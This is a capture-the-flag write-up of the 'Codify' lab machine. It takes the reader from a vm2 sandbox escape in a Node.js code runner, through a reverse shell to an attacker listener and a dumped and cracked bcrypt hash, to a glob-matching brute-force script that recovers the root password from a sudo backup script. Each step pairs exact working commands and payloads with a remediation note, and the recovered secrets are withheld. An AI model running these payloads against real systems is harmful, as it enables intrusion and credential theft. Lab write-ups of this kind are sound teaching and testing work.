Codify
Summary
I found a public-facing JavaScript code-execution sandbox (port 3000) built on the abandoned vm2 library and exploited a known sandbox-escape flaw to run OS commands as the low-privilege 'svc' service account. From that foothold I found a SQLite database left readable by the service, extracted and cracked a bcrypt password hash belonging to local user 'joshua', then SSH'd in as joshua.
A sudo-permitted backup script contained an unsafe Bash comparison that leaked the root account's password one character at a time through wildcard pattern matching, allowing me to authenticate directly as root and fully compromise the system.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 1
Full port scan with default scripts and version detection.
$ nmap -sC -sV -p- --min-rate 5000 -oN codify.nmap $TARGETExact commands 2
Check the About page for library version disclosure.
$ curl -s http://$TARGET:3000/aboutRead vm2 package.json from within the sandbox to confirm version 3.9.16.
$ curl -s -X POST http://$TARGET:3000/run -H 'Content-Type: application/json' -d '{"code":"require(\"fs\").readFileSync(\"/usr/lib/node_modules/vm2/package.json\").toString()"}'FixRemove or replace the abandoned vm2 JavaScript sandboxCritical
Exact commands 1
Proof-of-concept: should return uid=1001(svc).
$ curl -s -X POST http://$TARGET:3000/run -H 'Content-Type: application/json' -d '{"code":"err={};const h={getPrototypeOf(t){(function s(){new Error().stack;s();})();}};const p=new Proxy(err,h);try{throw p;}catch({constructor:c}){c.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"id\").toString()}}'
uid=1001(svc) gid=1001(svc) groups=1001(svc)Exact commands 2
Run on my machine ($ATTACKER_IP) before sending the trigger below.
$ nc -lvnp 4444Replace $ATTACKER_IP with your listener IP. Delivers reverse shell as svc.
$ curl -s -X POST http://$TARGET:3000/run -H 'Content-Type: application/json' -d '{"code":"err={};const h={getPrototypeOf(t){(function s(){new Error().stack;s();})();}};const p=new Proxy(err,h);try{throw p;}catch({constructor:c}){c.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"bash -c \\\\\"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\\\\\"\").toString()}}'Exact commands 4
Run on target as svc to locate SQLite databases.
$ find / -name '*.db' 2>/dev/nullList tables; look for a users or accounts table.
$ sqlite3 /var/www/contact/tickets.db '.tables'Dump all rows — extracts joshua's bcrypt hash.
$ sqlite3 /var/www/contact/tickets.db 'SELECT * FROM users;'Mode 3200 = bcrypt. Recovers plaintext: <withheld>.
$ hashcat -m 3200 joshua.hash /usr/share/wordlists/rockyou.txtFixProtect the application database and eliminate recoverable plaintext credentialsHigh
Exact commands 1
Password: $PASSWORD Read user.txt -> <user.txt>.
$ ssh joshua@$TARGETExact commands 3
As joshua; confirms: (root) /opt/scripts/mysql-backup.sh.
$ sudo -lInspect for [[ $USER_PASS == $DB_PASS ]] or similar glob-vulnerable comparison.
$ cat /opt/scripts/mysql-backup.shGlob oracle: recovers the root database/system password character by character. Recovered: <withheld>.
$ python3 - <<'PY'
import subprocess, string
pwd = ''
charset = string.ascii_letters + string.digits
for _ in range(40):
for c in charset:
result = subprocess.run(
['sudo', '/opt/scripts/mysql-backup.sh'],
input=pwd + c + '*\n', capture_output=True, text=True
)
if 'confirmed' in result.stdout.lower() or result.returncode == 0:
pwd += c
print(f'[+] Found so far: {pwd}')
break
print(f'[*] Password: {pwd}')
PYFixFix the sudo backup script's glob-vulnerable password comparisonCritical
Exact commands 2
Password: $PASSWORD Full root shell.
$ ssh root@$TARGETCaptures root flag: <root.txt>.
$ cat /root/root.txtFixDisable password-based root login over SSHHigh
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 |
| 3000/tcp | http Node.js Express framework |